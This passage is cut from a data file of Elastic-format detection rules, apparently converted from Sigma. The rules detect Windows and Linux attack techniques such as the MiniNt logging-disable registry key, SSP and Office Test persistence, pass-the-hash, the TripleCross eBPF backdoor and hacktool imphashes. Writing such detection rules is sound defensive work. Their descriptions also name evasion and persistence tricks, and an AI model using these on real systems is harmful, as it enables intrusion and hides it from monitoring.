winlog.event_data.TargetImage:\"C\\:\\\\Windows\\\\System32\\\\RuntimeBroker.exe\" OR winlog.event_data.TargetImage:*\\\\Microsoft\\ VS\\ Code\\\\Code.exe OR winlog.event_data.CallTrace:*|C\\:\\\\WINDOWS\\\\System32\\\\RPCRT4.dll\\+*) OR (process.executable:\"C\\:\\\\WINDOWS\\\\Explorer.EXE\" AND winlog.event_data.TargetImage:(\"C\\:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\" OR \"C\\:\\\\WINDOWS\\\\explorer.exe\")) OR (process.executable:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Platform\\\\* AND process.executable:*\\\\MsMpEng.exe) OR (process.executable:*\\\\eclipse.exe AND winlog.event_data.CallTrace:(*\\\\jre\\\\bin\\\\java.dll* OR *|C\\:\\\\Windows\\\\SYSTEM32\\\\windows.storage.dll\\+* OR *\\\\configuration\\\\org.eclipse.osgi\\\\*)) OR (process.executable:\"C\\:\\\\Windows\\\\system32\\\\OpenWith.exe\" AND winlog.event_data.TargetImage:\"C\\:\\\\Windows\\\\Explorer.EXE\"))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "Privilege Escalation", "T1055", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}, {"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}, {"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Perez Diego (@darkquassar)", "oscd.community", "Jonhnathan Ribeiro"], "license": ""}
{"description": "Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "49738eab-cd5a-2dbb-a83d-50b0d2bdbafa", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disable Security Events Logging Adding Reg Key MiniNt", "query": "((winlog.event_data.TargetObject:\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\MiniNt\" AND winlog.event_data.EventType:\"CreateKey\") OR NewName:\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\MiniNt\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}, {"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Ilyas Ochkov", "oscd.community"], "license": ""}
{"description": "Detects the addition of a new user to a privileged group such as \"root\" or \"sudo\"", "author": ["Pawel Mazur"], "enabled": false, "false_positives": ["Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "795813e9-d9c4-0038-4a2a-62a3c565c22f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Privileged User Has Been Created", "query": "(\"new user\" AND ((*GID=0*) OR (*UID=0*) OR (*GID=10*) OR (*GID=27*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1098", "T1136"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}, {"id": "T1136", "name": "Create Account", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the addition of a SSP to the registry. Upon a reboot or API call, SSP DLLs gain access to encrypted and plaintext passwords stored in Windows.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6fab6cd9-8d13-21a5-8681-5cdef300a0e3", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Security Support Provider (SSP) Added to LSA Configuration", "query": "(winlog.event_data.TargetObject:(\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\Security\\ Packages\" OR \"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\OSConfig\\\\Security\\ Packages\") AND (NOT (process.executable:\"C\\:\\\\Windows\\\\system32\\\\msiexec.exe\" OR process.executable:\"C\\:\\\\Windows\\\\syswow64\\\\MsiExec.exe\")))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["iwillkeepwatch"], "license": ""}
{"description": "Detects the addition of new root, CA or AuthRoot certificates to the Windows registry", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9fec8c4c-3fbb-7b92-8271-294a56651eb8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "New Root or CA or AuthRoot Certificate to Store", "query": "(winlog.event_data.EventType:\"Setvalue\" AND winlog.event_data.TargetObject:(*\\\\SOFTWARE\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\Certificates\\\\* OR *\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\Certificates\\\\* OR *\\\\SOFTWARE\\\\Microsoft\\\\EnterpriseCertificates\\\\Root\\\\Certificates\\\\* OR *\\\\SOFTWARE\\\\Microsoft\\\\SystemCertificates\\\\CA\\\\Certificates\\\\* OR *\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\SystemCertificates\\\\CA\\\\Certificates\\\\* OR *\\\\SOFTWARE\\\\Microsoft\\\\EnterpriseCertificates\\\\CA\\\\Certificates\\\\* OR *\\\\Software\\\\Microsoft\\\\SystemCertificates\\\\AuthRoot\\\\Certificates\\\\* OR *\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\SystemCertificates\\\\AuthRoot\\\\Certificates\\\\* OR *\\\\SOFTWARE\\\\Microsoft\\\\EnterpriseCertificates\\\\AuthRoot\\\\Certificates\\\\*) AND winlog.event_data.TargetObject:*\\\\Blob AND winlog.event_data.Details:\"Binary\\ Data\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f89f54f3-28ed-f594-1202-4c89c7947185", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Office Application Startup - Office Test", "query": "winlog.event_data.TargetObject:(\"HKCU\\\\Software\\\\Microsoft\\\\Office\\ test\\\\Special\\\\Perf\" OR \"HKLM\\\\Software\\\\Microsoft\\\\Office\\ test\\\\Special\\\\Perf\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1137"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1137", "name": "Office Application Startup", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["omkar72"], "license": ""}
{"description": "Detects the attack technique pass the hash which is used to move laterally inside the network", "enabled": false, "false_positives": ["Administrator activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f174216f-d4f7-ab2e-cd6b-a225c7aaff87", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Pass the Hash Activity", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:(\"4624\" OR \"4625\") AND winlog.event_data.LogonType:\"3\" AND winlog.event_data.LogonProcessName:\"NtLmSsp\" AND source.domain:\"%Workstations%\" AND winlog.ComputerName:\"%Workstations%\") AND (NOT (winlog.event_data.TargetUserName:\"ANONYMOUS\\ LOGON\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1550"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1550", "name": "Use Alternate Authentication Material", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Ilias el Matani (rule)", "The Information Assurance Directorate at the NSA (method)"], "license": ""}
{"description": "Detects the attack technique pass the hash which is used to move laterally inside the network", "enabled": false, "false_positives": ["Administrator activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "662ca851-6967-b110-78bf-4cfd43bc9333", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Pass the Hash Activity 2", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"4624\" AND ((winlog.event_data.SubjectUserSid:\"S\\-1\\-0\\-0\" AND winlog.event_data.LogonType:\"3\" AND winlog.event_data.LogonProcessName:\"NtLmSsp\" AND winlog.event_data.KeyLength:\"0\") OR (winlog.event_data.LogonType:\"9\" AND winlog.event_data.LogonProcessName:\"seclogo\"))) AND (NOT (winlog.event_data.TargetUserName:\"ANONYMOUS\\ LOGON\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1550"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1550", "name": "Use Alternate Authentication Material", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Dave Kennedy", "Jeff Warren (method) / David Vassallo (rule)"], "license": ""}
{"description": "Detects the attempt to evade or obfuscate the executed command on the CommandLine using bogus path traversal", "enabled": false, "false_positives": ["Google Drive", "Citrix"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "60ee8624-f9a3-8551-44e2-d8d226aae808", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Command Line Path Traversal Evasion", "query": "(((process.executable.text:*\\\\Windows\\\\* AND process.command_line.text:(*\\\\..\\\\Windows\\\\* OR *\\\\..\\\\System32\\\\* OR *\\\\..\\\\..\\\\*)) OR process.command_line.text:*.exe\\\\..\\\\*) AND (NOT (process.command_line.text:(*\\\\Google\\\\Drive\\\\googledrivesync.exe\\\\..\\\\* OR *\\\\Citrix\\\\Virtual\\ Smart\\ Card\\\\Citrix.Authentication.VirtualSmartcard.Launcher.exe\\\\..\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the conhost execution as parent process. Can be used to evaded defense mechanism.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "11a07874-1a62-7a4f-1aa4-5f114ffb4534", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Conhost Parent Process Executions", "query": "(process.parent.executable.text:*\\\\conhost.exe AND (NOT ((Provider_Name:\"SystemTraceProvider\\-Process\") OR (Provider_Name:\"Microsoft\\-Windows\\-Kernel\\-Process\" AND process.executable.text:*\\\\git.exe AND process.parent.command_line.text:(*\\ show\\ \\-\\-textconv\\ * OR *\\ cat\\-file\\ \\-s\\ *)) OR (process.parent.command_line.text:*C\\:\\\\WINDOWS\\\\system32\\\\conhost.exe\\ 0x4* AND process.command_line.text:(*\\ show\\ \\-\\-textconv\\ * OR *\\ cat\\-file\\ \\-s\\ *)) OR (Provider_Name:\"Microsoft\\-Windows\\-Kernel\\-Process\" AND process.parent.command_line.text:*\\ cat\\-file\\ \\-s\\ * AND process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\conhost.exe\") OR (process.parent.command_line.text:(\\??\\\\C\\:\\\\WINDOWS\\\\system32\\\\conhost.exe\\ 0x4 OR \\??\\\\C\\:\\\\WINDOWS\\\\system32\\\\conhost.exe\\ 0xffffffff\\ \\-ForceV1) AND process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\conhost.exe\") OR (process.parent.command_line.text:\\??\\\\C\\:\\\\WINDOWS\\\\system32\\\\conhost.exe\\ 0xffffffff\\ \\-ForceV1 AND process.executable.text:\"C\\:\\\\Program\\ Files\\\\Git\\\\mingw64\\\\bin\\\\git.exe\" AND process.command_line.text:*show\\ \\-\\-textconv\\ \\:*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["omkar72"], "license": ""}
{"description": "Detects the creation of \"ebpfbackdoor\" files in both \"cron.d\" and \"sudoers.d\" directories. Which both are related to the TripleCross persistence method", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "2a5911f6-3fa5-62eb-645a-329cb224971a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Triple Cross eBPF Rootkit Default Persistence", "query": "file.path.text:*ebpfbackdoor", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the creation of \"ebpfbackdoor\" files in both \"cron.d\" and \"sudoers.d\" directories. Which both are related to the TripleCross persistence method", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "2a5911f6-3fa5-62eb-645a-329cb224971a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Triple Cross eBPF Rootkit Default Persistence", "query": "file.path:*ebpfbackdoor", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the creation of \"msiexec.exe\" in the \"bin\" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section)", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cce785d4-c24f-c876-3a3e-7b3456becf29", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CVE-2021-44077 POC Default Dropped File", "query": "file.path:*\\\\ManageEngine\\\\SupportCenterPlus\\\\bin\\\\msiexec.exe", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the creation of a file on disk that has an imphash of a well-known hack tool", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5e3a665b-f4dc-3a7a-beee-6cae672cdeeb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Hacktool Download", "query": "((winlog.event_data.Imphash:(\"bcca3c247b619dcd13c8cdff5f123932\" OR \"3a19059bd7688cb88e70005f18efc439\" OR \"bf6223a49e45d99094406777eb6004ba\" OR \"0c106686a31bfe2ba931ae1cf6e9dbc6\" OR \"0d1447d4b3259b3c2a1d4cfb7ece13c3\" OR \"1b0369a1e06271833f78ffa70ffb4eaf\" OR \"4c1b52a19748428e51b14c278d0f58e3\" OR \"4d927a711f77d62cebd4f322cb57ec6f\" OR \"66ee036df5fc1004d9ed5e9a94a1086a\" OR \"672b13f4a0b6f27d29065123fe882dfc\" OR \"6bbd59cea665c4afcc2814c1327ec91f\" OR \"725bb81dc24214f6ecacc0cfb36ad30d\" OR \"9528a0e91e28fbb88ad433feabca2456\" OR \"9da6d5d77be11712527dcab86df449a3\" OR \"a6e01bc1ab89f8d91d9eab72032aae88\" OR \"b24c5eddaea4fe50c6a96a2a133521e4\" OR \"d21bbc50dcc169d7b4d0f01962793154\" OR \"fcc251cceae90d22c392215cc9a2d5d6\" OR \"23867a89c2b8fc733be6cf5ef902f2d1\" OR \"a37ff327f8d48e8a4d2f757e1b6e70bc\" OR \"f9a28c458284584a93b14216308d31bd\" OR \"6118619783fc175bc7ebecff0769b46e\" OR \"959a83047e80ab68b368fdb3f4c6e4ea\" OR \"563233bfa169acc7892451f71ad5850a\" OR \"87575cb7a0e0700eb37f2e3668671a08\" OR \"13f08707f759af6003837a150a371ba1\" OR \"1781f06048a7e58b323f0b9259be798b\" OR \"233f85f2d4bc9d6521a6caae11a1e7f5\" OR \"24af2584cbf4d60bbe5c6d1b31b3be6d\" OR \"632969ddf6dbf4e0f53424b75e4b91f2\" OR \"713c29b396b907ed71a72482759ed757\" OR \"749a7bb1f0b4c4455949c0b2bf7f9e9f\" OR \"8628b2608957a6b0c6330ac3de28ce2e\" OR \"8b114550386e31895dfab371e741123d\" OR \"94cb940a1a6b65bed4d5a8f849ce9793\" OR \"9d68781980370e00e0bd939ee5e6c141\" OR \"b18a1401ff8f444056d29450fbc0a6ce\" OR \"cb567f9498452721d77a451374955f5f\" OR \"730073214094cd328547bf1f72289752\" OR \"17b461a082950fc6332228572138b80c\" OR \"dc25ee78e2ef4d36faa0badf1e7461c9\" OR \"819b19d53ca6736448f9325a85736792\" OR \"829da329ce140d873b4a8bde2cbfaa7e\" OR \"c547f2e66061a8dffb6f5a3ff63c0a74\" OR \"0588081ab0e63ba785938467e1b10cca\" OR \"0d9ec08bac6c07d9987dfd0f1506587c\" OR \"bc129092b71c89b4d4c8cdf8ea590b29\" OR \"4da924cf622d039d58bce71cdf05d242\" OR \"e7a3a5c377e2d29324093377d7db1c66\" OR \"9a9dbec5c62f0380b4fa5fd31deffedf\" OR \"af8a3976ad71e5d5fdfb67ddb8dadfce\" OR \"0c477898bbf137bbd6f2a54e3b805ff4\" OR \"0ca9f02b537bcea20d4ea5eb1a9fe338\" OR \"3ab3655e5a14d4eefc547f4781bf7f9e\" OR \"e6f9d5152da699934b30daab206471f6\" OR \"3ad59991ccf1d67339b319b15a41b35d\" OR \"ffdd59e0318b85a3e480874d9796d872\" OR \"0cf479628d7cc1ea25ec7998a92f5051\" OR \"07a2d4dcbd6cb2c6a45e6b101f0b6d51\" OR \"d6d0f80386e1380d05cb78e871bc72b1\" OR \"38d9e015591bbfd4929e0d0f47fa0055\" OR \"0e2216679ca6e1094d63322e3412d650\" OR \"ada161bf41b8e5e9132858cb54cab5fb\" OR \"2a1bc4913cd5ecb0434df07cb675b798\" OR \"11083e75553baae21dc89ce8f9a195e4\" OR \"a23d29c9e566f2fa8ffbb79267f5df80\" OR \"4a07f944a83e8a7c2525efa35dd30e2f\" OR \"767637c23bb42cd5d7397cf58b0be688\" OR \"14c4e4c72ba075e9069ee67f39188ad8\" OR \"3c782813d4afce07bbfc5a9772acdbdc\" OR \"7d010c6bb6a3726f327f7e239166d127\" OR \"89159ba4dd04e4ce5559f132a9964eb3\" OR \"6f33f4a5fc42b8cec7314947bd13f30f\" OR \"5834ed4291bdeb928270428ebbaf7604\" OR \"5a8a8a43f25485e7ee1b201edcbc7a38\" OR \"dc7d30b90b2d8abf664fbed2b1b59894\" OR \"41923ea1f824fe63ea5beb84db7a3e74\" OR \"3de09703c8e79ed2ca3f01074719906b\" OR \"a53a02b997935fd8eedcb5f7abab9b9f\" OR \"e96a73c7bf33a464c510ede582318bf2\" OR \"32089b8851bbf8bc2d014e9f37288c83\" OR \"09D278F9DE118EF09163C6140255C690\" OR \"03866661686829d806989e2fc5a72606\" OR \"e57401fbdadcd4571ff385ab82bd5d6d\" OR \"84B763C45C0E4A3E7CA5548C710DB4EE\" OR \"19584675d94829987952432e018d5056\" OR \"330768a4f172e10acb6287b87289d83b\" OR \"885c99ccfbe77d1cbfcb9c4e7c1a3313\" OR \"22a22bc9e4e0d2f189f1ea01748816ac\" OR \"7fa30e6bb7e8e8a69155636e50bf1b28\")) OR (Hash:(*IMPHASH\\=BCCA3C247B619DCD13C8CDFF5F123932* OR *IMPHASH\\=3A19059BD7688CB88E70005F18EFC439* OR *IMPHASH\\=bf6223a49e45d99094406777eb6004ba* OR *IMPHASH\\=0C106686A31BFE2BA931AE1CF6E9DBC6* OR *IMPHASH\\=0D1447D4B3259B3C2A1D4CFB7ECE13C3* OR *IMPHASH\\=1B0369A1E06271833F78FFA70FFB4EAF* OR *IMPHASH\\=4C1B52A19748428E51B14C278D0F58E3* OR *IMPHASH\\=4D927A711F77D62CEBD4F322CB57EC6F* OR *IMPHASH\\=66EE036DF5FC1004D9ED5E9A94A1086A* OR *IMPHASH\\=672B13F4A0B6F27D29065123FE882DFC* OR *IMPHASH\\=6BBD59CEA665C4AFCC2814C1327EC91F* OR *IMPHASH\\=725BB81DC24214F6ECACC0CFB36AD30D* OR *IMPHASH\\=9528A0E91E28FBB88AD433FEABCA2456* OR *IMPHASH\\=9DA6D5D77BE11712527DCAB86DF449A3* OR *IMPHASH\\=A6E01BC1AB89F8D91D9EAB72032AAE88* OR *IMPHASH\\=B24C5EDDAEA4FE50C6A96A2A133521E4* OR *IMPHASH\\=D21BBC50DCC169D7B4D0F01962793154* OR *IMPHASH\\=FCC251CCEAE90D22C392215CC9A2D5D6* OR *IMPHASH\\=23867A89C2B8FC733BE6CF5EF902F2D1* OR *IMPHASH\\=A37FF327F8D48E8A4D2F757E1B6E70BC* OR *IMPHASH\\=F9A28C458284584A93B14216308D31BD* OR *IMPHASH\\=6118619783FC175BC7EBECFF0769B46E* OR *IMPHASH\\=959A83047E80AB68B368FDB3F4C6E4EA* OR *IMPHASH\\=563233BFA169ACC7892451F71AD5850A* OR *IMPHASH\\=87575CB7A0E0700EB37F2E3668671A08* OR *IMPHASH\\=13F08707F759AF6003837A150A371BA1* OR *IMPHASH\\=1781F06048A7E58B323F0B9259BE798B* OR *IMPHASH\\=233F85F2D4BC9D6521A6CAAE11A1E7F5* OR *IMPHASH\\=24AF2584CBF4D60BBE5C6D1B31B3BE6D* OR *IMPHASH\\=632969DDF6DBF4E0F53424B75E4B91F2* OR *IMPHASH\\=713C29B396B907ED71A72482759ED757* OR *IMPHASH\\=749A7BB1F0B4C4455949C0B2BF7F9E9F* OR *IMPHASH\\=8628B2608957A6B0C6330AC3DE28CE2E* OR *IMPHASH\\=8B114550386E31895DFAB371E741123D* OR *IMPHASH\\=94CB940A1A6B65BED4D5A8F849CE9793* OR *IMPHASH\\=9D68781980370E00E0BD939EE5E6C141* OR *IMPHASH\\=B18A1401FF8F444056D29450FBC0A6CE* OR *IMPHASH\\=CB567F9498452721D77A451374955F5F* OR *IMPHASH\\=730073214094CD328547BF1F72289752* OR *IMPHASH\\=17B461A082950FC6332228572138B80C* OR *IMPHASH\\=DC25EE78E2EF4D36FAA0BADF1E7461C9* OR *IMPHASH\\=819B19D53CA6736448F9325A85736792* OR *IMPHASH\\=829DA329CE140D873B4A8BDE2CBFAA7E* OR *IMPHASH\\=C547F2E66061A8DFFB6F5A3FF63C0A74* OR *IMPHASH\\=0588081AB0E63BA785938467E1B10CCA* OR *IMPHASH\\=0D9EC08BAC6C07D9987DFD0F1506587C* OR *IMPHASH\\=BC129092B71C89B4D4C8CDF8EA590B29* OR *IMPHASH\\=4DA924CF622D039D58BCE71CDF05D242* OR *IMPHASH\\=E7A3A5C377E2D29324093377D7DB1C66* OR *IMPHASH\\=9A9DBEC5C62F0380B4FA5FD31DEFFEDF* OR *IMPHASH\\=AF8A3976AD71E5D5FDFB67DDB8DADFCE* OR *IMPHASH\\=0C477898BBF137BBD6F2A54E3B805FF4* OR *IMPHASH\\=0CA9F02B537BCEA20D4EA5EB1A9FE338* OR *IMPHASH\\=3AB3655E5A14D4EEFC547F4781BF7F9E* OR *IMPHASH\\=E6F9D5152DA699934B30DAAB206471F6* OR *IMPHASH\\=3AD59991CCF1D67339B319B15A41B35D* OR *IMPHASH\\=FFDD59E0318B85A3E480874D9796D872* OR *IMPHASH\\=0CF479628D7CC1EA25EC7998A92F5051* OR *IMPHASH\\=07A2D4DCBD6CB2C6A45E6B101F0B6D51* OR *IMPHASH\\=D6D0F80386E1380D05CB78E871BC72B1* OR *IMPHASH\\=38D9E015591BBFD4929E0D0F47FA0055* OR *IMPHASH\\=0E2216679CA6E1094D63322E3412D650* OR *IMPHASH\\=ADA161BF41B8E5E9132858CB54CAB5FB* OR *IMPHASH\\=2A1BC4913CD5ECB0434DF07CB675B798* OR *IMPHASH\\=11083E75553BAAE21DC89CE8F9A195E4* OR *IMPHASH\\=A23D29C9E566F2FA8FFBB79267F5DF80* OR *IMPHASH\\=4A07F944A83E8A7C2525EFA35DD30E2F* OR *IMPHASH\\=767637C23BB42CD5D7397CF58B0BE688* OR *IMPHASH\\=14C4E4C72BA075E9069EE67F39188AD8* OR *IMPHASH\\=3C782813D4AFCE07BBFC5A9772ACDBDC* OR *IMPHASH\\=7D010C6BB6A3726F327F7E239166D127* OR *IMPHASH\\=89159BA4DD04E4CE5559F132A9964EB3* OR *IMPHASH\\=6F33F4A5FC42B8CEC7314947BD13F30F* OR *IMPHASH\\=5834ED4291BDEB928270428EBBAF7604* OR *IMPHASH\\=5A8A8A43F25485E7EE1B201EDCBC7A38* OR *IMPHASH\\=DC7D30B90B2D8ABF664FBED2B1B59894* OR *IMPHASH\\=41923EA1F824FE63EA5BEB84DB7A3E74* OR *IMPHASH\\=3DE09703C8E79ED2CA3F01074719906B* OR *IMPHASH\\=A53A02B997935FD8EEDCB5F7ABAB9B9F* OR *IMPHASH\\=E96A73C7BF33A464C510EDE582318BF2* OR *IMPHASH\\=32089B8851BBF8BC2D014E9F37288C83* OR *IMPHASH\\=09D278F9DE118EF09163C6140255C690* OR *IMPHASH\\=03866661686829d806989e2fc5a72606* OR *IMPHASH\\=e57401fbdadcd4571ff385ab82bd5d6d* OR *IMPHASH\\=84B763C45C0E4A3E7CA5548C710DB4EE* OR *IMPHASH\\=19584675D94829987952432E018D5056* OR *IMPHASH\\=330768A4F172E10ACB6287B87289D83B* OR *IMPHASH\\=885C99CCFBE77D1CBFCB9C4E7C1A3313* OR *IMPHASH\\=22A22BC9E4E0D2F189F1EA01748816AC* OR *IMPHASH\\=7FA30E6BB7E8E8A69155636E50BF1B28*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the creation of a ISO file in the Outlook temp folder or in the Appdata temp folder. Typical of Qakbot TTP from end-July 2022.", "enabled": false, "false_positives": ["Potential FP by sysadmin opening a zip file containing a legitimate ISO file"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6d4310f1-cae3-0cb0-9314-1f3e7cda0fbe", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "ISO File Created Within Temp Folders", "query": "(file.path.text:*.iso AND ((file.path.text:*\\\\AppData\\\\Local\\\\Temp\\\\* AND file.path.text:*.zip\\\\*) OR file.path.text:*\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\INetCache\\\\Content.Outlook\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1566"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1566", "name": 